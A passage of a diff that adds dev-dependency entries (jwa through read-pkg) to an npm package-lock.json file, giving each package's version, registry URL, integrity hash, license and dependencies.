"lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "dev": true, + "license": "MIT", + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/keytar": { + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.9.0.tgz", + "integrity": "sha512-VPD8mtVtm5JNtA2AErl6Chp06JBfy7diFQ7TQQhdpWOl6MrCRB+eRbvAZUsbGQS9kiMq0coJsy0W0vHpDCkWsQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "dependencies": { + "node-addon-api": "^4.3.0", + "prebuild-install": "^7.0.1" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/linkify-it": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", + "integrity": "sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "uc.micro": "^2.0.0" + } + }, + "node_modules/lodash": { + "version": "4.17.23", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.23.tgz", + "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true, + "license": "MIT" + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/markdown-it": { + "version": "14.1.1", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.1.1.tgz", + "integrity": "sha512-BuU2qnTti9YKgK5N+IeMubp14ZUKUUw7yeJbkjtosvHiP0AZ5c8IAgEMk79D0eC8F23r4Ac/q8cAIFdm2FtyoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1", + "entities": "^4.4.0", + "linkify-it": "^5.0.0", + "mdurl": "^2.0.0", + "punycode.js": "^2.3.1", + "uc.micro": "^2.1.0" + }, + "bin": { + "markdown-it": "bin/markdown-it.mjs" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-2.0.0.tgz", + "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==", + "dev": true, + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.3.tgz", + "integrity": "sha512-M2GCs7Vk83NxkUyQV1bkABc4yxgz9kILhHImZiBPAZ9ybuvCb0/H7lEl5XvIg3g+9d4eNotkZA5IWwYl0tibaA==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "optional": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz", + "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "dev": true, + "license": "ISC" + }, + "node_modules/napi-build-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz", + "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/node-abi": { + "version": "3.87.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.87.0.tgz", + "integrity": "sha512-+CGM1L1CgmtheLcBuleyYOn7NWPVu0s0EJH2C4puxgEZb9h8QpR9G2dBfZJOAUhi7VQxuBPMd0hiISWcTyiYyQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz", + "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/node-sarif-builder": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.4.0.tgz", + "integrity": "sha512-tGnJW6OKRii9u/b2WiUViTJS+h7Apxx17qsMUjsUeNDiMMX5ZFf8F8Fcz7PAQ6omvOxHZtvDTmOYKJQwmfpjeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/normalize-package-data": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz", + "integrity": "sha512-V6gygoYb/5EmNI+MEGrWkC+e6+Rr7mTmfHrxDbLzxQogBkgzo76rkok0Am6thgSF7Mv2nLOajAJj5vDJZEFn7g==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "hosted-git-info": "^7.0.0", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/hosted-git-info": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz", + "integrity": "sha512-puUZAUKT5m8Zzvs72XWy3HtvVbTWljRE66cP60bxJzAqf2DgICo7lYTY2IHUmLnNpjYvw5bvmoHvPc0QO2a62w==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^10.0.1" + }, + "engines": { + "node": "^16.14.0 || >=18.0.0" + } + }, + "node_modules/normalize-package-data/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "optional": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/open": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/open/-/open-10.2.0.tgz", + "integrity": "sha512-YgBpdJHPyQ2UE5x+hlSXcnejzAvD0b22U2OuAP+8OnlJT+PjWPxtgmGqKKc+RgTM63U9gN0YzrYc71R2WT/hTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "default-browser": "^5.2.1", + "define-lazy-prop": "^3.0.0", + "is-inside-container": "^1.0.0", + "wsl-utils": "^0.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-7.0.4.tgz", + "integrity": "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/parse-json": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-8.3.0.tgz", + "integrity": "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.26.2", + "index-to-position": "^1.1.0", + "type-fest": "^4.39.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-semver": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/parse-semver/-/parse-semver-1.1.1.tgz", + "integrity": "sha512-Eg1OuNntBMH0ojvEKSrvDSnwLmvVuUOSdylH/pSCPNMIspLlweJyIWXCE+k/5hm3cj/EBUYwmWkjhBALNP4LXQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^5.1.0" + } + }, + "node_modules/parse-semver/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/parse5": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "entities": "^6.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.1.0.tgz", + "integrity": "sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "domhandler": "^5.0.3", + "parse5": "^7.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5-parser-stream": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5-parser-stream/-/parse5-parser-stream-7.1.2.tgz", + "integrity": "sha512-JyeQc9iwFLn5TbvvqACIF/VXG6abODeB3Fwmv/TGdLk2LfbWkaySGY72at4+Ty7EkPZj854u4CrICqNk2qIbow==", + "dev": true, + "license": "MIT", + "dependencies": { + "parse5": "^7.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5/node_modules/entities": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "11.2.6", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.6.tgz", + "integrity": "sha512-ESL2CrkS/2wTPfuend7Zhkzo2u0daGJ/A2VucJOgQ/C48S/zB8MMeMHSGKYpXhIjbPxfuezITkaBH1wqv00DDQ==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/path-type": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-6.0.0.tgz", + "integrity": "sha512-Vj7sf++t5pBD637NSfkxpHSMfWaeig5+DKWLhcqIYx6mWQz5hdJTGDVMQiJcw1ZYkhs7AazKDGpRVji1LJCZUQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pluralize": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-8.0.0.tgz", + "integrity": "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/prebuild-install": { + "version": "7.1.3", + "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz", + "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==", + "deprecated": "No longer maintained. Please contact the author of the relevant native addon; alternatives are available.", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "detect-libc": "^2.0.0", + "expand-template": "^2.0.3", + "github-from-package": "0.0.0", + "minimist": "^1.2.3", + "mkdirp-classic": "^0.5.3", + "napi-build-utils": "^2.0.0", + "node-abi": "^3.3.0", + "pump": "^3.0.0", + "rc": "^1.2.7", + "simple-get": "^4.0.0", + "tar-fs": "^2.0.0", + "tunnel-agent": "^0.6.0" + }, + "bin": { + "prebuild-install": "bin.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pump": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", + "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode.js": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode.js/-/punycode.js-2.3.1.tgz", + "integrity": "sha512-uxFIHU0YlHYhDQtV4R9J6a52SLx28BCjT+4ieh7IGbgwVJWO+km431c4yRlREUAsAmt/uMjQUyQHNEPf0M39CA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz", + "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/rc": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", + "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, + "license": "(BSD-2-Clause OR MIT OR Apache-2.0)", + "optional": true, + "dependencies": { + "deep-extend": "^0.6.0", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" + }, + "bin": { + "rc": "cli.js" + } + }, + "node_modules/rc-config-loader": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/rc-config-loader/-/rc-config-loader-4.1.3.tgz", + "integrity": "sha512-kD7FqML7l800i6pS6pvLyIE2ncbk9Du8Q0gp/4hMPhJU6ZxApkoLcGD8ZeqgiAlfwZ6BlETq6qqe+12DUL207w==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^4.3.4", + "js-yaml": "^4.1.0", + "json5": "^2.2.2", + "require-from-string": "^2.0.2" + } + }, + "node_modules/read": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz", + "integrity": "sha512-rSOKNYUmaxy0om1BNjMN4ezNT6VKK+2xF4GBhc81mkH7L60i6dp8qPYrkndNLT3QPphoII3maL9PVC9XmhHwVQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "mute-stream": "~0.0.4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/read-pkg": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-9.0.1.tgz", + "integrity": 